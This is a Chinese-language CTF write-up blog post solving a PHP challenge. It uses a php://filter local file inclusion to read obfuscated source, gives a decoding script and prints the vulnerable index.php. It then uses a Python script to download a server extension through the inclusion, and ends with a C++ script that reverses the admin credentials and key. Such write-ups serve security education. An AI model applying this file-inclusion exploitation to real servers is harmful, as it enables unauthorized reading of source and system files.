Xi4or0uji's blog

你拿不到我的源码

字数统计: 1.1k阅读时长: 5 min
2018/11/14 Share

传送门:http://laohulaohuhu.cn:32771/
guest登录进去就看到一个很明显的文件包含点,filter读一下index.php那些文件出来解密居然是乱码的……..我佛辣…….
然后尝试一下读多几个文件出来,发现开头都是<@rkt,很像<?php,看一下字符的ascii码,发现第n个位置的字符的ascii码减去n-1就可以正常解密了,但是要注意一下不能超过128,给个脚本

1
2
3
4
5
6
7
8
9
import base64
strs = "待解密字符"
res = base64.b64decode(strs)
str2 = ""
i = 0
for c in res:
str2 += chr(((ord(c) - i)%128 + 128) %128)
i += 1
print(str2)

解密出来可以看到是如下文件,这里只放php的部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
index.php
<?php
session_start();
define("enter", 1);
ini_set("error_reporting", 0);
if (preg_match("/sess_|php(\w)+/i", $_GET['page'])) {
$_GET['page'] = "login.php";
}
$page = isset($_GET['page'])? $_GET['page'] : "login.php";
include $page;

home.php
<?php
if (enter !== 1) {
header("location:index.php?page=home.php");
}else if (!isset($_SESSION['user'])) {
header("location:index.php?page=login.php");
}
?>

<?php
if ($_SESSION['user'] === 'Admin') {
echo "<li class=\"nav-item active\"><form id=\"submit_key\" action=\"index.php?page=home.php\" method=\"post\" class=\"nav-link\"><input type=\"number\" name=\"key\" class=\"form-control\" placeholder=\"Submit Admin Key\" required autofocus></form></li><li class=\"form-inline my-2 my-md-0\"><button class=\"btn btn-lg btn-primary btn-block\" type=\"button\" onclick=\"document.getElementById('submit_key').submit();\">Submit key</button></li>";
}
?>
<?php
if ($_SESSION['user'] === 'Admin' && isset($_POST['key'])) {
if (GWHT_CheckCrypto($_POST['key'])) {
echo "<span style='color: green'>Hey Admin! Your flag is: GWHT{" . $_SESSION['flag1'] . $_POST['key'] . "}</span>";
}else {
echo "<span style='color: red'>No! You are a fake Admin! I will not give my flag to me</span>";
}
}else if ($_SESSION['user'] === 'Guest') {
echo "<span style='color: red'>My flag is for Admin, not for Guest!</span>";
}
?>

login.php
<?php
if (enter !== 1) {
header("location:index.php?page=login.php");
}else {
$info = "Please login in";
if (isset($_POST['user']) && isset($_POST['pwd'])) {
if ($_POST['user'] === 'Guest' && $_POST['pwd'] === 'Guest') {
$_SESSION['user'] = 'Guest';
header("location:index.php?page=home.php");
}else {
if (twings($_POST['user'], $_POST['pwd'])) {
$_SESSION['user'] = 'Admin';
$_SESSION['flag1'] = $_POST['pwd'];
header("location:index.php?page=home.php");
}
$info = "<span style='color: red'>Login failed</span>";
}
}
}
?>

可以看到关键的几句


可以看见flag是由flag1的session和传过来的key决定的,而flag1的session是由传过去的pwd决定的,但是没看到有什么继续包含的文件了,剩下的应该就是扩展的事了
读一下phpinfo,可以看到扩展的目录和扩展名,写个脚本把扩展文件下下来

1
2
3
4
5
6
7
8
9
#!python
#!/usr/bin/python
import urllib2
import base64
u = urllib2.urlopen('http://laohulaohuhu.cn:32771/index.php?page=php://filter/read/convert.base64-encode/resource=/usr/lib/php/20151012/twings.so')
localfile = open('twings.so','wb')
u = base64.b64decode(u.read())
localfile.write(u)
localfile.close()


将下下来的扩展文件用ida打开,可以看到三个函数,emmm,与题目有关系的也是这三个函数

zif_twings前面一堆没看懂,但是后面的一堆check有点意思,可以看到那个if语句比对了user的值,然后再去比对pwd的值,大胆猜测,Admin_CheckBy-Twings就是管理员的用户名,后面的pwd比对将它改成赋值就可以获得pwd的值了

接下来是GWHT那个文件,关键点在encrypt函数,跟过去看一看

可以看到,这个函数是个布尔函数,只需要传一个值,然后进行比对,最后当v1和v3符合条件的时候返回true
函数分析完了,最后是re的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
#include<bits/stdc++.h>
using namespace std;
int main(){
int check[20];
check[0] = 9;
check[1] = 10;
check[2] = 116;
check[3] = 25;
check[4] = 46;
check[5] = 0;
check[6] = 4;
check[7] = 126;
check[8] = 180;
check[9] = 55;
check[10] = 104;
check[11] = 20;
check[12] = 24;
check[13] = 128;
check[14] = 196;
check[15] = 90;
check[16] = 92;
check[17] = 228;
check[18] = 47;
check[19] = 78;
char user[40] = "Admin_CheckBy-Twings";
char pwd[40];
printf("user: %s\n",user);
int i = 9;
int v9 = 0;
for(int j=0; j<20; j++){
int val = (user[v9] ^ (i >> (v9 - 3 * (((unsigned __int64)(1431655766LL * (signed int)v9) >> 32) - ((signed int)v9 >> 31)))));
// printf("%d\n",val);
pwd[j] = char(val);
v9++;
i=check[v9];

}

printf("pwd: %s\n",pwd);

unsigned long long v1,v3;
long long v2;

v1 = -4498904630171527645LL;
v3 = -5341655318926559416LL;
v2 = 38300879488LL;

while(v2!=0 && v3!=71877284LL){
v3 -= (v2 + v1) ^ (16 * v1 + 72) ^ ((v1 >> 5) + 84);
v1 -= (v2 + v3) ^ (16 * v3 + 71) ^ ((v3 >> 5) + 87);
v2 -= 1196902484LL;
}

printf("v1: %I64u\n",v1);
printf("v2: %I64d\n",v2);
printf("v3: %I64u\n",v3);

return 0;

}

脚本跑出来的结果

最后flag

CATALOG